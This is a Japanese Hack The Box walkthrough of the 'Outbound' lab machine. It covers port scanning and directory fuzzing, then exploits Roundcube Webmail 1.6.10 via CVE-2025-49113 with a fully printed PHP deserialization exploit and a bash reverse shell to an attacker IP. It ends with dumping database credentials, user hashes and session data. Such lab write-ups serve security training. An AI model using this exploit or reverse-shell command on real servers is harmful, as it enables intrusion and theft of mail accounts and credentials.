- 本記事の概要
- ポートスキャン
- 名前解決のためのhostsファイル更新
- Webアクセスできるファイル/ディレクトリ調査
- Webサイトの動作確認(http://mail.outbound.htb/)
- Roundcube Webmailの脆弱性(CVE-2025-49113)を悪用したリバースシェル
- サーバの設定及びファイル調査
- hashcatを用いてハッシュ値解析(LMハッシュから解析)
- データベースの取得及び調査(sessionテーブル)
- Roundcube Webmailのsessionテーブルの認証情報復号化
- 【別解】Roundcube Webmailのsessionテーブルの認証情報復号化
- jacobユーザーでSSHのログイン
- 特権昇格のための調査(SUIDなど)
- Belowの脆弱性(CVE-2025-27591)を悪用した特権昇格
- 関連記事(Hack The Box)
本記事の概要
Hack The BoxのLinuxサーバの難易度Easyのマシンである「Outbound」に対する攻撃手法を記載します。
本記事では、以下の手順を記載します。
(1) ポートスキャン
(2) 名前解決のためのhostsファイル更新
(3) Webアクセスできるファイル/ディレクトリ調査
(4) Webサイトの動作確認(http://mail.outbound.htb/)
(5) Roundcube Webmailの脆弱性(CVE-2025-49113)を悪用したリバースシェル
(6) サーバの設定及びファイル調査
(7) hashcatを用いてハッシュ値解析(LMハッシュから解析)
(8) データベースの取得及び調査(sessionテーブル)
(9) Roundcube Webmailのsessionテーブルの認証情報復号化
(10) 【別解】Roundcube Webmailのsessionテーブルの認証情報復号化
(11) jacobユーザーでSSHのログイン
(12) 特権昇格のための調査(SUIDなど)
(13) Belowの脆弱性(CVE-2025-27591)を悪用した特権昇格
※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。
ポートスキャン
(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。
$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.77
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 08:37 EST
Warning: 10.10.11.77 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.77
Host is up (0.21s latency).
Not shown: 64813 closed tcp ports (reset), 720 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 204.73 ms 10.10.14.1
2 205.04 ms 10.10.11.77
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.17 seconds名前解決のためのhostsファイル更新
(1) ブラウザを用いて「http://10.10.11.77/」にアクセスすると、「http://mail.outbound.htb/」にリダイレクトされる。
(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。
$ echo '10.10.11.77 mail.outbound.htb' | sudo tee -a /etc/hosts
$ echo '10.10.11.77 outbound.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
→「10.10.11.77 mail.outbound.htb」と「10.10.11.77 outbound.htb」が出力されることを確認する。
(3) ブラウザを用いて「http://mail.outbound.htb/」にアクセスすると、Webページが表示される。
Webアクセスできるファイル/ディレクトリ調査
(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。
$ feroxbuster -u http://mail.outbound.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301 GET 7l 12w 178c http://mail.outbound.htb/plugins => http://mail.outbound.htb/plugins/
301 GET 7l 12w 178c http://mail.outbound.htb/plugins/password => http://mail.outbound.htb/plugins/password/
301 GET 7l 12w 178c http://mail.outbound.htb/plugins/help => http://mail.outbound.htb/plugins/help/
200 GET 20l 52w 848c http://mail.outbound.htb/catalogsearch
200 GET 20l 52w 848c http://mail.outbound.htb/_mm
200 GET 38l 90w 853c http://mail.outbound.htb/skins/elastic/watermark.html
301 GET 7l 12w 178c http://mail.outbound.htb/skins => http://mail.outbound.htb/skins/
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/logs
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/files
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/comments
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/catalog
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/inc
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/_private
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/data
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/lib
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/docs
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/go
200 GET 20l 52w 848c http://mail.outbound.htb/plugins/page
301 GET 7l 12w 178c http://mail.outbound.htb/plugins/archive => http://mail.outbound.htb/plugins/archive/
200 GET 59l 224w 3594c http://mail.outbound.htb/ajax
ーーー(省略)ーーー

(2) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://mail.outbound.htb/FUZZ" -ic
ーーー(省略)ーーー
admin [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4771ms]
releases [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4785ms]
training [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4785ms]
space [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4785ms]
advertising [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4903ms]
tech [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4903ms]
t [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4869ms]
welcome [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4901ms]
2001 [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4913ms]
policy [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4912ms]
static [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4977ms]
link [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4974ms]
other [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4962ms]
join [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4977ms]
faqs [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4973ms]
member [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 4976ms]
ーーー(省略)ーーー
Webサイトの動作確認(http://mail.outbound.htb/)
(1) ブラウザを用いて「http://mail.outbound.htb/」にアクセスする。
(2) 「ユーザー名:tyler」と「パスワード:LhKL1o9Nm3X2」を入力して、ログインする。
(3) ログインに成功し、tylerユーザー宛のメールは何もないことが分かる。
(4) 左下の?アイコンをクリックすると、Roundcube Webmailのバージョン1.6.10を使用していることが分かる。
Roundcube Webmailの脆弱性(CVE-2025-49113)を悪用したリバースシェル
(1) 「Roundcube Webmail 1.6.10 exploit」でGoogle検索すると、CVE-2025-49113の任意のコード実行(RCE)の脆弱性があることが分かる。また、「https://github.com/hakaioffsec/CVE-2025-49113-exploit」に攻撃コードが公開されていることが分かる。
(2) Kali Linux側で1234/tcpで待ち受ける。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.14.8」
$ nc -lnvp 1234
listening on [any] 1234 ...
(3) 「https://github.com/hakaioffsec/CVE-2025-49113-exploit」のファイルをダウンロードする。
$ git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit
$ cd CVE-2025-49113-exploit
(4) 使い方を確認するために、攻撃コードのプログラム(CVE-2025-49113.php)の内容を確認する。
$ cat CVE-2025-49113.php
<?php
class Crypt_GPG_Engine
{
public $_process = false;
public $_gpgconf = '';
public $_homedir = '';
public function __construct($_gpgconf)
{
$_gpgconf = base64_encode($_gpgconf);
$this->_gpgconf = "echo \"{$_gpgconf}\"|base64 -d|sh;#";
}
public function gadget()
{
return '|'. serialize($this) . ';';
}
}
function checkVersion($baseUrl)
{
echo "[*] Checking Roundcube version...\n";
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
'ignore_errors' => true,
],
]);
$response = file_get_contents($baseUrl, false, $context);
if ($response === FALSE) {
echo "[-] Error: Failed to check version.\n";
exit(1);
}
$vulnerableVersions = [
'10500', '10501', '10502', '10503', '10504', '10505', '10506', '10507', '10508', '10509',
'10600', '10601', '10602', '10603', '10604', '10605', '10606', '10607', '10608', '10609', '10610'
];
preg_match('/"rcversion":(\d+)/', $response, $matches);
if (empty($matches[1])) {
echo "[-] Error: Could not detect Roundcube version.\n";
exit(1);
}
$version = $matches[1];
echo "[*] Detected Roundcube version: " . $version . "\n";
if (in_array($version, $vulnerableVersions)) {
echo "[+] Target is vulnerable!\n";
return true;
} else {
echo "[-] Target is not vulnerable.\n";
exit(1);
}
}
function login($baseUrl, $user, $pass)
{
// Configuration to capture session cookies
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
'ignore_errors' => true,
// 'request_fulluri' => false, // necessary for HTTP proxies like Burp
// 'proxy' => 'tcp://127.0.0.1:8080',
],
]);
// Make a GET request to the initial page
$response = file_get_contents($baseUrl, false, $context);
if ($response === FALSE) {
echo "Error: Failed to obtain the initial page.\n";
exit(1);
}
// Extract the 'roundcube_sessid' cookie
preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessid' cookie not found.\n";
exit(1);
}
$sessionCookie = 'roundcube_sessid=' . $matches[1];
// Extract the CSRF token from the JavaScript code
preg_match('/"request_token":"([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
echo "Error: CSRF token not found.\n";
exit(1);
}
$csrfToken = $matches[1];
$url = $baseUrl . '/?_task=login';
$data = http_build_query([
'_token' => $csrfToken,
'_task' => 'login',
'_action' => 'login',
'_timezone' => 'America/Sao_Paulo',
'_url' => '',
'_user' => $user,
'_pass' => $pass,
]);
$options = [
'http' => [
'header' => "Content-type: application/x-www-form-urlencoded\r\n" .
"Cookie: " . $sessionCookie . "\r\n",
'method' => 'POST',
'content' => $data,
'ignore_errors' => true,
// 'request_fulluri' => true, // necessary for HTTP proxies like Burp
// 'proxy' => 'tcp://127.0.0.1:8080',
],
];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
echo "Error: Failed to make the request.\n";
exit(1);
}
// Check the HTTP status code
$statusLine = $http_response_header[0];
preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
$status = $match[1];
if ($status == 401) {
echo "Error: Incorrect credentials.\n";
exit(1);
} elseif ($status != 302) {
echo "Error: Request failed with status code $status.\n";
exit(1);
}
// Extract the last 'roundcube_sessauth' cookie from the login response, ignoring the cookie with value '-del-'
preg_match_all('/Set-Cookie: roundcube_sessauth=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessauth' cookie not found.\n";
exit(1);
}
$authCookie = 'roundcube_sessauth=' . end($matches[1]);
// Extract the 'roundcube_sessid' cookie from the login response
preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessid' cookie not found.\n";
exit(1);
}
$sessionCookie = 'roundcube_sessid=' . $matches[1];
echo "[+] Login successful!\n";
return [
'sessionCookie' => $sessionCookie,
'authCookie' => $authCookie,
];
}
function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
{
$uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
// Hardcoded PNG image in base64
$base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
// Decode the base64 image
$fileContent = base64_decode($base64Image);
if ($fileContent === FALSE) {
echo "Error: Failed to decode the base64 image.\n";
exit(1);
}
$boundary = uniqid();
$data = "--" . $boundary . "\r\n" .
"Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" .
"Content-Type: image/png\r\n\r\n" .
$fileContent . "\r\n" .
"--" . $boundary . "--\r\n";
$options = [
'http' => [
'header' => "Content-type: multipart/form-data; boundary=" . $boundary . "\r\n" .
"Cookie: " . $sessionCookie . "; " . $authCookie . "\r\n",
'method' => 'POST',
'content' => $data,
'ignore_errors' => true,
// 'request_fulluri' => true, // necessary for HTTP proxies like Burp
// 'proxy' => 'tcp://127.0.0.1:8080',
],
];
echo "[*] Exploiting...\n";
$context = stream_context_create($options);
$result = file_get_contents($uploadUrl, false, $context);
if ($result === FALSE) {
echo "Error: Failed to send the file.\n";
exit(1);
}
// Check the HTTP status code
$statusLine = $http_response_header[0];
preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
$status = $match[1];
if ($status != 200) {
echo "Error: File upload failed with status code $status.\n";
exit(1);
}
echo "[+] Gadget uploaded successfully!\n";
}
function exploit($baseUrl, $user, $pass, $rceCommand)
{
echo "[+] Starting exploit (CVE-2025-49113)...\n";
// Check version before proceeding
checkVersion($baseUrl);
// Instantiate the Crypt_GPG_Engine class with the RCE command
$gpgEngine = new Crypt_GPG_Engine($rceCommand);
$gadget = $gpgEngine->gadget();
// Escape double quotes in the gadget
$gadget = str_replace('"', '\\"', $gadget);
// Login and get session cookies
$cookies = login($baseUrl, $user, $pass);
// Upload the image with the gadget
uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget);
}
if ($argc !== 5) {
echo "Usage: php CVE-2025-49113.php <url> <username> <password> <command>\n";
exit(1);
}
$baseUrl = $argv[1];
$user = $argv[2];
$pass = $argv[3];
$rceCommand = $argv[4];
exploit($baseUrl, $user, $pass, $rceCommand);
(5) CVE-2025-49113の脆弱性を悪用してKali Linuxの1234/tcpに対してリバースシェルを奪取する。
$ php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.14.8/1234 0>&1'"
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
(6) 「nc -lnvp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.77] 52544
bash: cannot set terminal process group (249): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mail:/$
(7) 現在ログインしているユーザー情報を確認すると、www-dataユーザーであることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
(8) 完全なシェルを奪取する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ which script
/usr/bin/script
$ /usr/bin/script -qc /bin/bash /dev/null
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xtermサーバの設定及びファイル調査
(1) ホームディレクトリとログインシェルが設定されているユーザーを確認する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ ls -l /home/
total 20
drwxr-x--- 1 jacob jacob 4096 Jun 7 13:55 jacob
drwxr-x--- 1 mel mel 4096 Jun 8 12:06 mel
drwxr-x--- 1 tyler tyler 4096 Jun 8 13:28 tyler
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bash
(2) config.inc.phpの内容を確認すると、$config[‘db_dsnw’]の値にデータベースの認証情報が記載されていることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ cat /var/www/html/roundcube/config/config.inc.php
ーーー(省略)ーーー
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
ーーー(省略)ーーー
(3) roundcubeユーザーでデータベースにログインする。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ mysql -u roundcube -p -h 127.0.0.1
→パスワード(RCDBPass2025)を入力する。
MariaDB [(none)]>
(4) データベース名の一覧を表示すると、roundcubeというデータベースがあることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| roundcube |
+--------------------+
2 rows in set (0.001 sec)
(5) roundcubeデータベースを使用するように設定する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [(none)]> use roundcube;
(6) テーブル一覧を表示すると、usersやsessionというテーブルがあることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [roundcube]> show tables;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache |
| cache_index |
| cache_messages |
| cache_shared |
| cache_thread |
| collected_addresses |
| contactgroupmembers |
| contactgroups |
| contacts |
| dictionary |
| filestore |
| identities |
| responses |
| searches |
| session |
| system |
| users |
+---------------------+
17 rows in set (0.001 sec)
(7) usersテーブルの内容を確認すると、3個のユーザー(jacob、mel、tyler)が登録されており、preferencesにパスワードのハッシュ値が記載されていることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [roundcube]> select * from users;
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| user_id | username | mail_host | created | last_login | failed_login | failed_login_counter | language | preferences |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
| 1 | jacob | localhost | 2025-06-07 13:55:18 | 2025-06-11 07:52:49 | 2025-06-11 07:51:32 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"hpLLqLwmqbyihpi7";} |
| 2 | mel | localhost | 2025-06-08 12:04:51 | 2025-06-08 13:29:05 | NULL | NULL | en_US | a:1:{s:11:"client_hash";s:16:"GCrPGMkZvbsnc3xv";} |
| 3 | tyler | localhost | 2025-06-08 13:28:55 | 2025-11-21 12:39:38 | 2025-06-11 07:51:22 | 1 | en_US | a:1:{s:11:"client_hash";s:16:"Y2Rz3HTwxwLJHevI";} |
+---------+----------+-----------+---------------------+---------------------+---------------------+----------------------+----------+---------------------------------------------------+
3 rows in set (0.000 sec)
(8) データベースへの接続を終了する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [roundcube]> exit;
hashcatを用いてハッシュ値解析(LMハッシュから解析)
(1) データベースのusersテーブルに登録されていたパスワードハッシュ値をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ vi hash.txt
【hash.txtの内容】
hpLLqLwmqbyihpi7
GCrPGMkZvbsnc3xv
Y2Rz3HTwxwLJHevI
(2) ブラウザを用いて「https://hashes.com/en/tools/hash_identifier」にアクセスし、パスワードハッシュ値を入力する。その後、「SUBMIT & IDENTIFY」をクリックする。
(3) ハッシュアルゴリズムが「LM」であることが分かる。
(4) 「https://hashcat.net/wiki/doku.php?id=example_hashes」でHash Modeの値を確認すると、「LM」のHash Modeは3000であることが分かる。
(5) hashcatを用いてハッシュ値を解析するが、エラーとなり解析に失敗した。
※Kali Linux上で以下のコマンドを実行する。
$ hashcat -a 0 -m 3000 hash.txt /usr/share/wordlists/rockyou.txt
ーーー(省略)ーーー
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i7-13620H, 2917/5899 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 7
Hashfile 'hash.txt' on line 1 (hpLLqLwmqbyihpi7): Token encoding exception
Hashfile 'hash.txt' on line 2 (GCrPGMkZvbsnc3xv): Token encoding exception
Hashfile 'hash.txt' on line 3 (Y2Rz3HTwxwLJHevI): Token encoding exception
No hashes loaded.
Started: Fri Nov 21 08:54:38 2025
Stopped: Fri Nov 21 08:54:42 2025
ーーー(省略)ーーー
データベースの取得及び調査(sessionテーブル)
(1) roundcubeユーザーでデータベースにログインする。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ mysql -u roundcube -p -h 127.0.0.1 -D roundcube
→パスワード(RCDBPass2025)を入力する。
MariaDB [roundcube]>
(2) sessionテーブルの内容を確認すると、varsに長い文字列が登録されていることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [roundcube]> select * from session;
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sess_id | changed | ip | vars |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 6a5ktqih5uca6lj8vrmgh9v0oh | 2025-06-08 15:46:40 | 172.17.0.1 | bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7 |
+----------------------------+---------------------+------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)
